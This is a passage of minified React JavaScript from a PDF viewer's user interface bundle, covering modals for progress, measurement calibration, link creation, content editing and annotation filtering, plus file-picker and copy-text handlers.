Object(l.useEffect)((function(){n&&o(Ps.closeElements(["signatureModal","printModal","errorModal","loadingModal","passwordModal"]))}),[o,n]),Object(l.useEffect)((function(){var e=i.current;if(e){var t=2*e.r.baseVal.value*Math.PI,n=t-r*t;e.style.strokeDasharray="".concat(t," ").concat(t),e.style.strokeDashoffset=n}}),[r]),t?null:s.a.createElement("div",{className:js()({Modal:!0,ProgressModal:!0,open:n,closed:!n}),"data-element":"progressModal"},s.a.createElement("div",{className:"container"},s.a.createElement("svg",{className:"progress-ring",width:"54",height:"54"},s.a.createElement("circle",{className:"progress-ring__fill",r:"25",cx:"27",cy:"27"}),s.a.createElement("circle",{ref:i,className:"progress-ring__circle",r:"25",cx:"27",cy:"27"}))))};function eD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return tD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return tD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function tD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var nD=function(e){var t=eD(e.split("/"),2),n=t[0],r=t[1];return Number(n)/Number(r)};n(1081);function rD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return oD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return oD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function oD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var iD=function(e){var t=e.Measure.axis[0].factor;switch(e.Scale[1][1]){case"ft-in":return e.getLineLength()*t/12;case"in":default:return e.getLineLength()*t}},aD=/^\d*(\.\d*)?$/,lD=/^\d*(\s\d\/\d*)$/,sD=/^(\d\/\d*)*$/,uD=function(){var e=rD(le((function(e){return[fi.isElementOpen(e,"calibrationModal"),fi.isElementDisabled(e,"calibrationModal"),fi.getMeasurementUnits(e)]}),N),3),t=e[0],n=e[1],r=e[2],o=re(),i=rD(Object(l.useState)(null),2),a=i[0],u=i[1],c=rD(Object(l.useState)(""),2),f=c[0],d=c[1],p=rD(Object(l.useState)(0),2),h=p[0],m=p[1],g=rD(Object(l.useState)(""),2),v=g[0],y=g[1],b=rD(Object(l.useState)(!1),2),w=b[0],E=b[1],S=rD(Ks(),1)[0],C=Object(l.useRef)(null);Object(l.useEffect)((function(){var e;t&&(null==C||null===(e=C.current)||void 0===e||e.focus())}),[t]),Object(l.useEffect)((function(){var e=function(e,t){if(1===(null==e?void 0:e.length)&&"distanceMeasurement"===ac(e[0])&&"selected"===t){var n=e[0];u(n);var r=iD(n).toFixed(2);d(r),y(n.Scale[1][1]),m(parseFloat(r))}else"deselected"===t&&(u(null),d(""),y(""),m(0))};return vt.addEventListener("annotationSelected",e),function(){return vt.removeEventListener("annotationSelected",e)}}),[]),Object(l.useEffect)((function(){var e=function(e,t){"modify"===t&&1===e.length&&e[0]===a&&(d(iD(a).toFixed(2)),y(a.Scale[1][1]))};return vt.addEventListener("annotationChanged",e),function(){return vt.removeEventListener("annotationChanged",e)}}),[a]);var x=function(e){return a.Scale=e,O()},O=function(){var e=iD(a),t=h/e,n=a.Scale;return[[n[0][0],n[0][1]],[n[1][0]*t,v]]},A=function(){o(Ps.closeElements(["calibrationModal"]))};return n||!a?null:s.a.createElement(Op,{onSwipedUp:A,onSwipedDown:A,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:js()({Modal:!0,CalibrationModal:!0,open:t,closed:!t}),onMouseDown:A},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"calibration__header"},S("component.calibration")),s.a.createElement("div",{className:"calibration__body"},s.a.createElement("div",null,S("message.enterMeasurement")),s.a.createElement("div",{className:"calibration__input"},s.a.createElement("input",{className:w?"error":"",ref:C,type:"text",value:f,onChange:function(e){E(!1),d(e.target.value)},onBlur:function(e){var t=e.target.value.trim();if(""===t&&E(!0),aD.test(t))0!==parseFloat(t)?(m(parseFloat(t)),d(t)):E(!0);else if(lD.test(t)){var n=rD(t.split(" "),2),r=n[0],o=n[1];if(Number.isFinite(nD(o))){var i=Number(r)+nD(o);m(parseFloat(i)),d(i)}else E(!0)}else if(sD.test(t))if(Number.isFinite(nD(t))){var a=nD(t);m(parseFloat(a)),d(a)}else E(!0);else E(!0)}}),s.a.createElement("select",{className:"unitToInput",value:v,onChange:function(e){y(e.target.value)}},r.to.map((function(e){return s.a.createElement("option",{key:e,value:e},e)})))),w?s.a.createElement("div",{className:"errorMeasurement"},S("message.errorEnterMeasurement")):null),s.a.createElement("div",{className:"calibration__footer"},s.a.createElement(bf,{dataElement:"passwordSubmitButton",label:S("action.apply"),onClick:function(){var e=O(),t=x(e);vt.setAnnotationStyles(a,{Scale:t}),gb("AnnotationCreateDistanceMeasurement","Scale",t),o(Ps.closeElements(["calibrationModal"]))},disabled:w})))))};n(1082);function cD(e){return function(e){if(Array.isArray(e))return hD(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||pD(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function fD(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function dD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||pD(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function pD(e,t){if(e){if("string"==typeof e)return hD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?hD(e,t):void 0}}function hD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var mD=function(){var e=dD(le((function(e){return[fi.isElementDisabled(e,Yh.LINK_MODAL),fi.isElementOpen(e,Yh.LINK_MODAL),fi.getTotalPages(e),fi.getCurrentPage(e),fi.getSelectedTab(e,Yh.LINK_MODAL),fi.getPageLabels(e)]})),6),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=e[5],u=dD(Ks(),1)[0],c=re(),f=s.a.createRef(),d=s.a.createRef(),p=dD(Object(l.useState)(""),2),h=p[0],m=p[1],g=dD(Object(l.useState)(""),2),v=g[0],y=g[1],b=function(){c(Ps.closeElement(Yh.LINK_MODAL)),m(""),vt.setToolMode(Qa)},w=function(e,t,n,r){var i=arguments.length>4&&void 0!==arguments[4]?arguments[4]:o,a=new Annotations.Link;return a.PageNumber=i,a.StrokeColor=new Annotations.Color(0,165,228),a.StrokeStyle="underline",a.StrokeThickness=2,a.Author=vt.getCurrentUser(),a.Subject="Link",a.X=e,a.Y=t,a.Width=n,a.Height=r,a},E=function(e){var t=[],n=vt.getSelectedTextQuads(),r=vt.getSelectedAnnotations();if(n){var o=vt.getSelectedText(),i=function(r){var i=[];n[r].forEach((function(e){i.push(w(Math.min(e.x1,e.x3),Math.min(e.y1,e.y3),Math.abs(e.x1-e.x3),Math.abs(e.y1-e.y3),parseInt(r)))})),S(i,n[r],o,e),t.push.apply(t,i)};for(var a in n)i(a)}return r&&r.forEach((function(n){var r=vt.getAnnotationManager(),o=r.getGroupAnnotations(n);if(o.length>1){var i=o.filter((function(e){return e instanceof Annotations.Link}));i.length>0&&(r.ungroupAnnotations(o),vt.deleteAnnotations(i))}var a=w(n.X,n.Y,n.Width,n.Height);a.addAction("U",e),vt.addAnnotations([a]),t.push(a),r.groupAnnotations(n,[a])})),t},S=function(){var e=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){fD(i,r,o,a,l,"next",e)}function l(e){fD(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function e(t,n,r,o){var i,a,l;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:i=vt.getAnnotationManager(),a=t[0],(l=new Annotations.TextHighlightAnnotation).PageNumber=a.PageNumber,l.X=a.X,l.Y=a.Y,l.Width=a.Width,l.Height=a.Height,l.StrokeColor=new Annotations.Color(0,0,0,0),l.Opacity=0,l.Quads=n,l.Author=vt.getCurrentUser(),l.setContents(r),t.forEach((function(e,t){e.addAction("U",o),0===t?vt.addAnnotations([e,l]):vt.addAnnotations([e])})),i.groupAnnotations(l,t);case 15:case"end":return e.stop()}}),e)})));return function(t,n,r,o){return e.apply(this,arguments)}}(),C=function(e){e.preventDefault();var t=new window.Actions.URI({uri:h}),n=E(t).map((function(e){return e.PageNumber}));(n=cD(new Set(n))).forEach((function(e){vt.drawAnnotations(e,null,!0)})),b()},x=function(e){e.preventDefault();var t={dest:new(0,window.Actions.GoTo.Dest)({page:a.indexOf(v)+1})},n=new window.Actions.GoTo(t),r=E(n).map((function(e){return e.PageNumber}));(r=cD(new Set(r))).forEach((function(e){vt.drawAnnotations(e,null,!0)})),b()};Object(l.useEffect)((function(){if(n){var e=vt.getSelectedText();if(e){var t=e.match(/(http(s)?:\/\/.)?(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/g);t&&t.length>0&&m(t[0])}y(a.length>0?a[0]:"1")}}),[r,n]),Object(l.useEffect)((function(){"PageNumberPanelButton"===i&&n?d.current.focus():"URLPanelButton"===i&&n&&f.current.focus()}),[i,n,d,f]),Object(l.useEffect)((function(){return vt.addEventListener("documentUnloaded",b),function(){vt.removeEventListener("documentUnloaded",b)}}),[]);var O=js()({Modal:!0,LinkModal:!0,open:n,closed:!n});return t?null:s.a.createElement(Op,{onSwipedUp:b,onSwipedDown:b,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:O,"data-element":Yh.LINK_MODAL,onMouseDown:b},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement(xb,{id:"linkModal"},s.a.createElement("div",{className:"tab-list"},s.a.createElement(Ob,{dataElement:"URLPanelButton"},s.a.createElement("div",{className:"tab-options-button"},u("link.url"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:"PageNumberPanelButton"},s.a.createElement("div",{className:"tab-options-button"},u("link.page")))),s.a.createElement(_b,{dataElement:"URLPanel"},s.a.createElement("form",{onSubmit:C},s.a.createElement("div",null,u("link.enterurl")),s.a.createElement("div",{className:"linkInput"},s.a.createElement("input",{className:"urlInput",ref:f,value:h,onChange:function(e){return m(e.target.value)}}),s.a.createElement(bf,{dataElement:"linkSubmitButton",label:u("action.link"),onClick:C})))),s.a.createElement(_b,{dataElement:"PageNumberPanel"},s.a.createElement("form",{onSubmit:x},s.a.createElement("div",null,u("link.enterpage")),s.a.createElement("div",{className:"linkInput"},s.a.createElement("input",{ref:d,value:v,onChange:function(e){return y(e.target.value)}}),s.a.createElement(bf,{dataElement:"linkSubmitButton",label:u("action.link"),onClick:x,disabled:!(null==a?void 0:a.includes(v))}))))))))};n(1083),n(1084);function gD(e,t,n,r,o,i,a){try{var l=e[i](a),s=l.value}catch(e){return void n(e)}l.done?t(s):Promise.resolve(s).then(r,o)}function vD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return yD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return yD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function yD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var bD=function(){var e=vD(le((function(e){return[fi.isElementDisabled(e,"contentEditModal"),fi.isElementOpen(e,"contentEditModal"),fi.isContentEditWarningHidden(e),fi.getCurrentContentBeingEdited(e)]})),4),t=e[0],n=e[1],r=e[2],o=e[3],i=vD(Ks(),1)[0],a=re(),u=vD(Object(l.useState)(!0),2),c=u[0],f=u[1],d=vD(Object(l.useState)(!1),2),p=d[0],h=d[1],m=function(){a(Ps.closeElement("contentEditModal")),p&&vt.setToolMode(window.Core.Tools.ToolNames.EDIT)};Object(l.useEffect)((function(){var e=function(e,t){e instanceof Core.Tools.ContentEditTool?setTimeout((function(){h(!r),a(Ps.openElement("contentEditModal"))}),500):t instanceof Core.Tools.ContentEditTool&&a(Ps.clearCurrentContentBeingEdited())},t=function(){var e=function(e){return function(){var t=this,n=arguments;return new Promise((function(r,o){var i=e.apply(t,n);function a(e){gD(i,r,o,a,l,"next",e)}function l(e){gD(i,r,o,a,l,"throw",e)}a(void 0)}))}}(regeneratorRuntime.mark((function e(t){var n;return regeneratorRuntime.wrap((function(e){for(;;)switch(e.prev=e.next){case 0:if(!t.isContentEditPlaceholder()||t.getContentEditType()!==window.Core.ContentEdit.Types.TEXT){e.next=6;break}return e.next=3,instance.Core.ContentEdit.getDocumentContent(t);case 3:n=e.sent,a(Ps.setCurrentContentBeingEdited({content:n,annotation:t})),a(Ps.openElement("contentEditModal"));case 6:case"end":return e.stop()}}),e)})));return function(t){return e.apply(this,arguments)}}();return vt.addEventListener("toolModeUpdated",e),vt.addEventListener("annotationDoubleClicked",t),function(){vt.removeEventListener("toolModeUpdated",e),vt.removeEventListener("annotationDoubleClicked",t)}}),[r]);var g=js()({Modal:!0,ContentEditModal:!0,open:n,closed:!n});return t||!!!o&&!p?null:s.a.createElement(Op,{onSwipedUp:m,onSwipedDown:m,preventDefaultTouchmoveEvent:!0},s.a.createElement(Jp,{locked:n},s.a.createElement("div",{className:g,"data-element":"contentEditModal",onMouseDown:m},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header-container"},s.a.createElement("div",{className:"header"},s.a.createElement("p",null,i("component.editText")),s.a.createElement(bf,{className:"editTextModalCloseButton",dataElement:"editTextModalCloseButton",title:"action.close",img:"ic_close_black_24px",onClick:m}))),p?s.a.createElement("div",{className:"main-container"},s.a.createElement("h2",{className:"textareaLabel"},i("message.warning")),s.a.createElement("p",{className:"textareaLabel"},i("message.enterContentEditingMode")),s.a.createElement("p",{className:"textareaLabel"},i("message.existingAnnotationWarning")),s.a.createElement("p",{className:"textareaLabel"},i("message.changesCannotBeUndone")),s.a.createElement(X_,{type:"checkbox",checked:c,label:i("message.doNotShowAgain"),onChange:function(){f(!c)}})):s.a.createElement("div",{className:"main-container"},s.a.createElement(Gk.a,{value:o.content,onChange:function(e){a(Ps.updateCurrentContentBeingEdited(e))},modules:{toolbar:[["bold","italic","underline"],["link"]]}})),s.a.createElement("div",{className:"editing-controls footer-container"},p?s.a.createElement("button",{className:"button text-edit-proceed-button",onClick:function(){a(Ps.closeElement("contentEditModal")),a(Ps.setHideContentEditWarning(c)),h(!1)}},i("action.proceed")):s.a.createElement("button",{className:"button text-edit-save-button",onClick:function(){a(Ps.closeElement("contentEditModal")),instance.Core.ContentEdit.updateDocumentContent(o.annotation,o.content)}},i("action.apply")))))))};n(1085);function wD(e){return function(e){if(Array.isArray(e))return CD(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||SD(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ED(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||SD(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function SD(e,t){if(e){if("string"==typeof e)return CD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?CD(e,t):void 0}}function CD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var xD="filterAnnotModal",OD=function(){var e=ED(le((function(e){return[fi.isElementDisabled(e,Yh.FILTER_MODAL),fi.isElementOpen(e,Yh.FILTER_MODAL),fi.getColorMap(e),fi.getSelectedTab(e,xD),fi.getAnnotationFilters(e)]})),5),t=e[0],n=e[1],r=e[2],o=e[3],i=e[4],a=ED(Ks(),1)[0],u=re(),c=ED(Object(l.useState)([]),2),f=c[0],d=c[1],p=ED(Object(l.useState)([]),2),h=p[0],m=p[1],g=ED(Object(l.useState)([]),2),v=g[0],y=g[1],b=ED(Object(l.useState)([]),2),w=b[0],E=b[1],S=ED(Object(l.useState)([]),2),C=S[0],x=S[1],O=ED(Object(l.useState)([]),2),A=O[0],_=O[1],T=ED(Object(l.useState)([]),2),k=T[0],P=T[1],M=ED(Object(l.useState)(!0),2),R=M[0],j=M[1],L=ED(Object(l.useState)([]),2),I=L[0],N=L[1],D=ED(Object(l.useState)(0),2),F=D[0],B=D[1],H=ED(Object(l.useState)(!1),2),V=H[0],z=H[1],U=function(e){var t,n=ac(e);return e[null===(t=r[n])||void 0===t?void 0:t.iconColor]},G=function(e,t){var n=e.map((function(e){return Object.assign({R:parseInt("".concat(e[1]).concat(e[2]),16),G:parseInt("".concat(e[3]).concat(e[4]),16),B:parseInt("".concat(e[5]).concat(e[6]),16)})}));return!!n.filter((function(e){return Math.abs(t.R-e.R)<10&&Math.abs(t.G-e.G)<10&&Math.abs(t.B-e.B)<10})).length},W=function(){u(Ps.closeElement(Yh.FILTER_MODAL)),vt.setToolMode(Qa)};Object(l.useEffect)((function(){var e=vt.getAnnotationsList(),t=new Set,n=new Set,r=new Set,o=new Set;return e.forEach((function(e){var i=vt.getDisplayAuthor(e.Author);if(i&&""!==i&&t.add(i),!(e instanceof Annotations.WidgetAnnotation||e instanceof Annotations.StickyAnnotation&&e.isReply()||e instanceof Annotations.Link)){n.add(Ju(e));var a=U(e);a&&!G(wD(r),a)&&r.add(Ku(a.R,a.G,a.B,a.A)),e.getStatus()?o.add(e.getStatus()):o.add("None")}})),d(wD(t)),m(wD(n)),y(wD(r)),E(wD(o)),vt.addEventListener("documentUnloaded",W),function(){vt.removeEventListener("documentUnloaded",W)}}),[n]),Object(l.useEffect)((function(){o!==Yh.ANNOTATION_STATUS_FILTER_PANEL_BUTTON||V||u(Ps.setSelectedTab(xD,Yh.ANNOTATION_USER_FILTER_PANEL_BUTTON))}),[n,o,V]),Object(l.useEffect)((function(){B((R?1:0)+C.length+k.length+A.length+I.length)}),[R,C,k,A,I]),Object(l.useEffect)((function(){z(w.length>1||1===w.length&&"None"!==w[0])}),[w]),Object(l.useEffect)((function(){n&&(j(i.includeReplies),x(i.authorFilter),P(i.colorFilter),_(i.typeFilter),N(i.statusFilter))}),[n]);var q=js()({Modal:!0,FilterAnnotModal:!0,open:n,closed:!n});return t?null:s.a.createElement("div",{className:q,"data-element":Yh.FILTER_MODAL,onMouseDown:W},s.a.createElement(Jp,{locked:n,focusLastOnUnlock:!0},s.a.createElement("div",{className:"container",onMouseDown:function(e){return e.stopPropagation()}},vt.getAnnotationsList().length>0?s.a.createElement("div",{className:"filter-modal"},s.a.createElement(Op,{onSwipedDown:W,preventDefaultTouchmoveEvent:!0},s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"header"},s.a.createElement("div",null,"".concat(a("option.filterAnnotModal.filters")," (").concat(F,")")),s.a.createElement(bf,{img:"icon-close",onClick:W,title:"action.cancel"}))),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"body"},s.a.createElement(xb,{id:xD},s.a.createElement("div",{className:"tab-list"},s.a.createElement(Ob,{dataElement:Yh.ANNOTATION_USER_FILTER_PANEL_BUTTON},s.a.createElement("button",{className:"tab-options-button"},a("option.filterAnnotModal.user"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:Yh.ANNOTATION_COLOR_FILTER_PANEL_BUTTON},s.a.createElement("button",{className:"tab-options-button"},a("option.filterAnnotModal.color"))),s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:Yh.ANNOTATION_TYPE_FILTER_PANEL_BUTTON},s.a.createElement("button",{className:"tab-options-button"},a("option.filterAnnotModal.type"))),V&&s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"tab-options-divider"}),s.a.createElement(Ob,{dataElement:Yh.ANNOTATION_STATUS_FILTER_PANEL_BUTTON},s.a.createElement("button",{className:"tab-options-button"},a("option.filterAnnotModal.status"))))),s.a.createElement("div",{className:"filter-options"},s.a.createElement(_b,{dataElement:"annotationUserFilterPanel"},s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"include-replies"},s.a.createElement(X_,{isSwitch:!0,label:a("option.filterAnnotModal.includeReplies"),checked:R,onChange:function(e){return j(e.target.checked)},id:"filter-annot-modal-include-replies"})),s.a.createElement("div",{className:"user-filters three-column-filter"},wD(f).map((function(e,t){return s.a.createElement(X_,{type:"checkbox",key:t,label:e,checked:C.includes(e),id:e,onChange:function(e){-1===C.indexOf(e.target.getAttribute("id"))?x([].concat(wD(C),[e.target.getAttribute("id")])):x(C.filter((function(t){return t!==e.target.getAttribute("id")})))}})}))))),s.a.createElement(_b,{dataElement:"annotationColorFilterPanel"},s.a.createElement("div",{className:"color-filters"},wD(v).map((function(e,t){return s.a.createElement("div",{className:"colorSelect",key:"color".concat(t)},s.a.createElement(X_,{type:"checkbox",checked:k.includes(e),id:e,onChange:function(e){-1===k.indexOf(e.target.getAttribute("id"))?P([].concat(wD(k),[e.target.getAttribute("id")])):P(k.filter((function(t){return t!==e.target.getAttribute("id")})))}}),s.a.createElement("div",{className:"colorCell",style:{background:Xu(e)}}))})))),s.a.createElement(_b,{dataElement:"annotationTypeFilterPanel"},s.a.createElement("div",{className:"type-filters three-column-filter"},wD(h).sort((function(e,t){return a("annotation.".concat(e))<=a("annotation.".concat(t))?-1:1})).map((function(e,t){return s.a.createElement(X_,{type:"checkbox",key:t,label:a("annotation.".concat(e)),checked:A.includes(e),id:e,onChange:function(e){-1===A.indexOf(e.target.getAttribute("id"))?_([].concat(wD(A),[e.target.getAttribute("id")])):_(A.filter((function(t){return t!==e.target.getAttribute("id")})))}})})))),V&&s.a.createElement(_b,{dataElement:"annotationStatusFilterPanel"},s.a.createElement("div",{className:"status-filters three-column-filter"},wD(w).map((function(e,t){return s.a.createElement(X_,{type:"checkbox",key:t,checked:I.includes(e),label:a("option.state.".concat(e.toLocaleLowerCase())),id:e,onChange:function(e){-1===I.indexOf(e.target.getAttribute("id"))?N([].concat(wD(I),[e.target.getAttribute("id")])):N(I.filter((function(t){return t!==e.target.getAttribute("id")})))}})}))))))),s.a.createElement("div",{className:"divider"}),s.a.createElement("div",{className:"footer"},s.a.createElement(bf,{className:"filter-annot-clear",onClick:function(){j(!1),x([]),_([]),P([]),N([])},label:a("action.clearAll"),disabled:0===F}),s.a.createElement(bf,{className:"filter-annot-apply",onClick:function(){u(Ps.setCustomNoteFilter((function(e){var t=!0,n=!0,r=!0,o=!0;if(A.length>0&&(t=A.includes(Ju(e))),C.length>0&&!(n=C.includes(vt.getDisplayAuthor(e.Author)))&&R){var i,a=function(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=SD(e))||t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var i,a=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var e=n.next();return a=e.done,e},e:function(e){l=!0,i=e},f:function(){try{a||null==n.return||n.return()}finally{if(l)throw i}}}}(e.getReplies());try{for(a.s();!(i=a.n()).done;){var l=i.value;if(C.includes(vt.getDisplayAuthor(l.Author))){n=!0;break}}}catch(e){a.e(e)}finally{a.f()}}if(k.length>0){var s=U(e);r=s?G(k,s):k.includes("#485056")}return I.length>0&&(o=e.getStatus()?I.includes(e.getStatus()):I.includes("None")),t&&n&&r&&o}))),u(Ps.setAnnotationFilters({includeReplies:R,authorFilter:C,colorFilter:k,typeFilter:A,statusFilter:I})),zt(Ht.ANNOTATION_FILTER_CHANGED,{types:A,authors:C,colors:k,statuses:I,checkRepliesForAuthorFilter:R}),W()},label:a("action.apply")}))):s.a.createElement("div",null,s.a.createElement("div",{className:"swipe-indicator"}),s.a.createElement("div",{className:"message"},a("message.noAnnotationsFilter"))))))},AD=(n(1086),function(){var e=le((function(e){return fi.isElementDisabled(e,"filePickerHandler")}),N),t=re(),n=!!lh("webviewerServerURL",null)?window.Core.SupportedFileFormats.SERVER:window.Core.SupportedFileFormats.CLIENT;return e?null:s.a.createElement("div",{className:"FilePickerHandler"},s.a.createElement("input",{id:"file-picker",type:"file",accept:n.map((function(e){return".".concat(e)})).join(", "),onChange:function(e){var n=e.target.files[0];n&&(t(Ps.openElement("progressModal")),t(Ps.closeElement("menuOverlay")),dh(t,n))}}))}),_D=(n(1087),function(){return s.a.createElement("div",{className:"CopyTextHandler"},s.a.createElement("textarea",{id:"copy-textarea",tabIndex:-1,"aria-hidden":!0}))});n(1088);function TD(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return kD(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return kD(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function kD(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var PD=function e(){var t=TD(le((function(e){return[fi.isElementDisabled(e,"printHandler"),fi.isEmbedPrintSupported(e)]}),N),2),n=t[0],r=t[1],o=TD(Object(l.useState)(""),2),i=o[0],a=o[1];return Object(l.useEffect)((function(){var e=function(){var e=vt.getDocument().getType();a(e)};return vt.addEventListener("documentLoaded",e),function(){return 